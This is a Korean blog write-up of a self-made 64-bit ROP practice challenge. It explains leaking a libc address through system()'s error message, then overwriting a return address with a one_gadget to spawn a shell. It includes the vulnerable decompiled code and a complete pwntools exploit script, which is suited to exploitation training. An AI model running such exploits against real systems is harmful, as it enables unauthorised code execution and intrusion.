HackCTF의 Unexploitable 문제를 풀어보고 영감(?)을 받아서 만들어본 64bit ROP 문제이다.
system과 read만 사용하는 상황에서 libc leak을 할 수 있다는 것을 알려주기 위해 만들어봤다.
system 함수의 경우 인자로 명령어를 주지 않으면 해당 명령어가 없다고 오류 메시지를 출력해준다.
그렇다면 system 함수의 인자로 어떤 함수의 got를 주면 함수 주소를 출력해주면서 오류 메시지를 출력해줄 것이다.
출력해주는 것을 leak해서 libc leak을 진행하고, libc base를 구해서 one gadget을 구하면 끝난다.
다시 입력받기 위해 main 함수로 리턴해서 return address를 one gadget으로 덮으면 쉘이 따지는 문제이다.
int init() { setvbuf(stdin, 0LL, 2, 0LL); return setvbuf(stdout, 0LL, 2, 0LL); } int gift() { return system("What can you do with this?"); } int __cdecl main(int argc, const char **argv, const char **envp) { char buf; // [rsp+0h] [rbp-20h] init(); read(0, &buf, 0x50uLL); return 0; }
만약 주의해야 할 점이 있다면 found 뒤에 개행문자가 있어서 (\x0a) 개행문자까지 보낸 다음에 페이로드를 보내야 한다.
(context.log_level = 'debug'로 출력해주는 값을 받아보면 개행문자를 확인할 수 있다.)
#!/usr/bin/python from pwn import * context.log_level = 'debug' p = process("./rop") elf = ELF("./rop") libc = elf.libc p1ret = 0x00400723 pay = 'A'*(0x20+0x8) pay += p64(p1ret) + p64(elf.got['system']) + p64(elf.plt['system']) pay += p64(elf.symbols['main']) p.send(pay) p.recvuntil("1: ") system = u64(p.recvuntil("\x7f") + '\x00\x00') log.info("system: "+hex(system)) libcBase = system - libc.symbols['system'] one_gadget = libcBase + 0x45216 p.sendafter("found\n", 'A'*(0x20+0x8) + p64(one_gadget)) p.interactive()
[2020 Power of XX] What's your Temp? write up (glibc 2.31 double free bypass) (0) | 2020.12.18 |
---|---|
[2020 Power of XX] POX Server write up (double staged fsb 64bit) (0) | 2020.12.18 |
shot (6/1 포너블 실습 문제) (0) | 2020.06.01 |
[picoCTF 2014] rop1 (0) | 2020.05.31 |
[TAMU 2019] pwn5 (0) | 2020.05.31 |